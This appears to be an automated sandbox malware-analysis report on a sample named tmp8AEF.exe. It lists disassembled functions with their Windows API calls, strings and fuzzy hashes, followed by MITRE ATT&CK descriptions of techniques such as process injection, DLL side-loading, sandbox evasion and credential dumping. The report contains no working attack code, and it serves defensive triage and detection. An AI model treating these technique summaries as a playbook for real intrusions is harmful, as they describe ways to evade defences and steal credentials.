APIs

GetLastError.KERNEL32(?,?,?,00007FF7CA79342E,?,00007FF7CA793534), ref: 00007FF7CA792A14
FormatMessageW.KERNEL32(?,?,?,00007FF7CA79342E), ref: 00007FF7CA792A7D
MessageBoxW.USER32 ref: 00007FF7CA792ACF

Strings

<FormatMessageW failed.>, xrefs: 00007FF7CA792A83
Error, xrefs: 00007FF7CA792ABE
%ls%ls: %ls, xrefs: 00007FF7CA792A96

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: Message$ErrorFormatLast
String ID: %ls%ls: %ls$<FormatMessageW failed.>$Error
API String ID: 3971115935-1149178304
Opcode ID: 7223b30dd23a30c2aa7faf0092ff60e4697deebee1b944f1837b883079aee3ab
Instruction ID: 4250e1d6aa25750368fcfd56bc4043e7a89557ad79938c11b45ca0487a98d378
Opcode Fuzzy Hash: 7223b30dd23a30c2aa7faf0092ff60e4697deebee1b944f1837b883079aee3ab
Instruction Fuzzy Hash: 26214F72618B8192F720AF21F4606EAA364FB8C795F800136EE8D53A98DF3CD5468B50

Function 00007FF7CA7981F0 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,00000000,?,00007FF7CA7939F2), ref: 00007FF7CA79821D
K32EnumProcessModules.KERNEL32(?,00000000,?,00007FF7CA7939F2), ref: 00007FF7CA79827A

Part of subcall function 00007FF7CA7986B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF7CA793FA4,00000000,00007FF7CA791925), ref: 00007FF7CA7986E9

K32GetModuleFileNameExW.KERNEL32(?,00000000,?,00007FF7CA7939F2), ref: 00007FF7CA798305
K32GetModuleFileNameExW.KERNEL32(?,00000000,?,00007FF7CA7939F2), ref: 00007FF7CA798364
FreeLibrary.KERNEL32(?,00000000,?,00007FF7CA7939F2), ref: 00007FF7CA798375
FreeLibrary.KERNEL32(?,00000000,?,00007FF7CA7939F2), ref: 00007FF7CA79838A

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: FileFreeLibraryModuleNameProcess$ByteCharCurrentEnumModulesMultiWide
String ID:
API String ID: 3462794448-0
Opcode ID: c116373e2a09e68fc95a37a35a910f387ed59b49a7d0ab4690c2b7d3ff367989
Instruction ID: b80aa7439ca25f78f7b8e0553ee0647e961ae5b716fc38f6ff84b748aaf1a4ee
Opcode Fuzzy Hash: c116373e2a09e68fc95a37a35a910f387ed59b49a7d0ab4690c2b7d3ff367989
Instruction Fuzzy Hash: AE41A362A1968281FA30AF33B424ABEB398FB88BA1F844176DF5C57785DE3CD401C710

Function 00007FF7CA798400 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7CA797B50: GetCurrentProcess.KERNEL32 ref: 00007FF7CA797B70
Part of subcall function 00007FF7CA797B50: OpenProcessToken.ADVAPI32 ref: 00007FF7CA797B83
Part of subcall function 00007FF7CA797B50: GetTokenInformation.ADVAPI32 ref: 00007FF7CA797BA8
Part of subcall function 00007FF7CA797B50: GetLastError.KERNEL32 ref: 00007FF7CA797BB2
Part of subcall function 00007FF7CA797B50: GetTokenInformation.ADVAPI32 ref: 00007FF7CA797BF2
Part of subcall function 00007FF7CA797B50: ConvertSidToStringSidW.ADVAPI32 ref: 00007FF7CA797C0E
Part of subcall function 00007FF7CA797B50: CloseHandle.KERNEL32 ref: 00007FF7CA797C26

LocalFree.KERNEL32(?,00007FF7CA793814), ref: 00007FF7CA79848C
LocalFree.KERNEL32(?,00007FF7CA793814), ref: 00007FF7CA798495

Strings

S-1-3-4, xrefs: 00007FF7CA798441
D:(A;;FA;;;%s), xrefs: 00007FF7CA798477
D:(A;;FA;;;%s)(A;;FA;;;%s), xrefs: 00007FF7CA798462
Security descriptor string length exceeds PYI_PATH_MAX!, xrefs: 00007FF7CA7984A3

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: Token$FreeInformationLocalProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID: D:(A;;FA;;;%s)$D:(A;;FA;;;%s)(A;;FA;;;%s)$S-1-3-4$Security descriptor string length exceeds PYI_PATH_MAX!
API String ID: 6828938-1529539262
Opcode ID: 795f95526d0a951be163d7ee57e77295e71c5006ab84a191c0455a0dace466c7
Instruction ID: 1d977b1d102933c60258047caae83c8af19b1fcc10cdecb65517ef8c3270a44a
Opcode Fuzzy Hash: 795f95526d0a951be163d7ee57e77295e71c5006ab84a191c0455a0dace466c7
Instruction Fuzzy Hash: C0215031A0874182F610BF32F5256E9A2A4FF9C7A2FD440B6EA4D43796DF3CD84487A0

Function 00007FF7CA792300 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF7CA792338
DialogBoxIndirectParamW.USER32 ref: 00007FF7CA7923FE
DeleteObject.GDI32 ref: 00007FF7CA792431
DestroyIcon.USER32 ref: 00007FF7CA792443

Strings

Unhandled exception in script, xrefs: 00007FF7CA792368

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
String ID: Unhandled exception in script
API String ID: 3081866767-2699770090
Opcode ID: aa8fae7967b6237ed58108c0441fa719abaab4bc203e45b59d8227776e6be316
Instruction ID: 212bd4a2b353b85c56b0cc94476a372b3865c2bf3c5935bd9096bb9bc884cbf4
Opcode Fuzzy Hash: aa8fae7967b6237ed58108c0441fa719abaab4bc203e45b59d8227776e6be316
Instruction Fuzzy Hash: B7316C72609A8289FB20AF62F8656F9A360FB8C7A5F800076EE4D47B55DF3CD5008710

Function 00007FF7CA7A52B0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7A52EC
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7A5416
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7A54CC

Strings

verbose, xrefs: 00007FF7CA7A52C0

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: verbose
API String ID: 3215553584-579935070
Opcode ID: f7ed0d29023b39033d3e63b48c2fcebc8df79207a036ffcb4dd83b8b3075c670
Instruction ID: 42c661bcbece017b442733abeb23d88a5d058ca9426d124f2484c1d4d4e6cfe0
Opcode Fuzzy Hash: f7ed0d29023b39033d3e63b48c2fcebc8df79207a036ffcb4dd83b8b3075c670
Instruction Fuzzy Hash: B491E432A08A4661F724AE26E46037DB396BB48B76FC86175DA4D463D5DF3DEC018321

Function 00007FF7CA79C968 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7CA79C993
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF7CA79CA2A
RtlUnwindEx.KERNEL32 ref: 00007FF7CA79CA84

Strings

csm, xrefs: 00007FF7CA79CA11

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 8b87fa2c553d9157ee5c92b9fa7cd74c02d8a8cd0f0d05c46c7470457ee5a2ed
Instruction ID: f59913bbb08c61f2ced89a18c217199cb1c56ce33f84925074157c3307ef255d
Opcode Fuzzy Hash: 8b87fa2c553d9157ee5c92b9fa7cd74c02d8a8cd0f0d05c46c7470457ee5a2ed
Instruction Fuzzy Hash: CD519E32B196428EEF14EF37F424A79B391FB48BA9F904172DA4D47788DE78E8418710

Function 00007FF7CA79E1F8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF7CA79E257
_CallSETranslator.LIBVCRUNTIME ref: 00007FF7CA79E2A3

Strings

RCC, xrefs: 00007FF7CA79E273
MOC, xrefs: 00007FF7CA79E26B

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c1bd0f280093dc077c2402edd2c21f20ddcaf15bcc9dc74a739a9fc2baeea3e9
Instruction ID: 12bc4066f47c5cf2f26f388afaf4c1314fd1017b39310e591eaec9de738e6420
Opcode Fuzzy Hash: c1bd0f280093dc077c2402edd2c21f20ddcaf15bcc9dc74a739a9fc2baeea3e9
Instruction Fuzzy Hash: ED619432908BC585E7209F36F4507AAB7A4FB897A5F444266EB9C03795DF7CD090CB10

Function 00007FF7CA7AC270 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7CA7AC25B), ref: 00007FF7CA7AC38C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7CA7AC25B), ref: 00007FF7CA7AC417

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 76adbd728b317254a89cb4c791728419eb9f151af89ead0c9a06842c56e3605f
Instruction ID: b0a52941cb9615752afad55985b0c05099b2239c72e13ad98e9848fd6904ecc9
Opcode Fuzzy Hash: 76adbd728b317254a89cb4c791728419eb9f151af89ead0c9a06842c56e3605f
Instruction Fuzzy Hash: B391F872E08651B5F750AFA6B4602BDABA0BB48FAAF945175DE0E56684CF38D8418320

Function 00007FF7CA79C330 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7CA79C35C
GetCurrentThreadId.KERNEL32 ref: 00007FF7CA79C36A
GetCurrentProcessId.KERNEL32 ref: 00007FF7CA79C376
QueryPerformanceCounter.KERNEL32 ref: 00007FF7CA79C386

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 0f32e5fb6c1657f40c76225ea380b4ebd78bc5beffa0738dce661fe11625e8f4
Instruction ID: ee83ad6b4579857d429fee5dd07026ccfa646570de9a954e2d3c1a2e719bafb2
Opcode Fuzzy Hash: 0f32e5fb6c1657f40c76225ea380b4ebd78bc5beffa0738dce661fe11625e8f4
Instruction Fuzzy Hash: 43114C22B14B058AFB009F61F8642A973A4FB5D769F840E31DE2D467A4DF78D1948350

Function 00007FF7CA7A832C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7A835E

Part of subcall function 00007FF7CA7A9C58: HeapFree.KERNEL32(?,?,?,00007FF7CA7B2032,?,?,?,00007FF7CA7B206F,?,?,00000000,00007FF7CA7B2535,?,?,?,00007FF7CA7B2467), ref: 00007FF7CA7A9C6E
Part of subcall function 00007FF7CA7A9C58: GetLastError.KERNEL32(?,?,?,00007FF7CA7B2032,?,?,?,00007FF7CA7B206F,?,?,00000000,00007FF7CA7B2535,?,?,?,00007FF7CA7B2467), ref: 00007FF7CA7A9C78

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF7CA79BEC5), ref: 00007FF7CA7A837C

Strings

C:\Users\user\AppData\Local\Temp\tmp8AEF.exe, xrefs: 00007FF7CA7A836A

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe
API String ID: 3580290477-4079050925
Opcode ID: b12c586edd81a32e618353e8c6e47471c9321224668f8732ac6121a92b7f4d59
Instruction ID: 8b9c2218cb89a7f3ae927790cc501ff7db176ff6db16334ef48eb104e5c9268c
Opcode Fuzzy Hash: b12c586edd81a32e618353e8c6e47471c9321224668f8732ac6121a92b7f4d59
Instruction Fuzzy Hash: BB41A232A08B52A5F714EF26F4640BCB794FB487A1F956075EA4D07785DE3CD8518320

Function 00007FF7CA7AFA4C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7AFA7C
GetDriveTypeW.KERNEL32 ref: 00007FF7CA7AFABC

Strings

:, xrefs: 00007FF7CA7AFAA5

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: 229dc5225c97c31120184e1c5c073253f760aebc87e6502baf4f3d3b6f3e4c47
Instruction ID: d0d91e3e2fe1d395c71b21dd748adfa5d8434768c1c9ec609554168318c0a5b1
Opcode Fuzzy Hash: 229dc5225c97c31120184e1c5c073253f760aebc87e6502baf4f3d3b6f3e4c47
Instruction Fuzzy Hash: F901D42291C20295FB20BF62B4712BEA3A0FF4D72AFC02075D54C42291DF3CD804CA30

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	Drive: Drive Modification, File: File Modification, Firmware: Firmware Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

